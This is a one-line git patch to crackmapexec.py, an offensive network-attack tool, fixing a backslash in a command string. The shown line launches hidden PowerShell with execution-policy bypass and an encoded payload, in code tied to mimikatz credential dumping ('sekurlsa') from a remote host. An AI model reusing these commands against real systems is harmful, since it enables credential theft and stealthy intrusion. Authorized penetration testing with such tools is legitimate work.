From e25ccc6c030181b611ed765ea04ad3bd6e304e30 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 8 Oct 2015 12:59:48 -0600 Subject: [PATCH] Added missing backslash --- crackmapexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crackmapexec.py b/crackmapexec.py index e8ec4229..3a80c2eb 100755 --- a/crackmapexec.py +++ b/crackmapexec.py @@ -2659,7 +2659,7 @@ def ps_command(command=None, katz_ip=None, katz_command='privilege::debug sekurl """.format(addr=katz_ip, katz_command=katz_command) if args.force_ps32: - command = 'IEX "$Env:windir\\SysWOW64\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE'))) + command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE'))) base64_command = b64encode(command.encode('UTF-16LE'))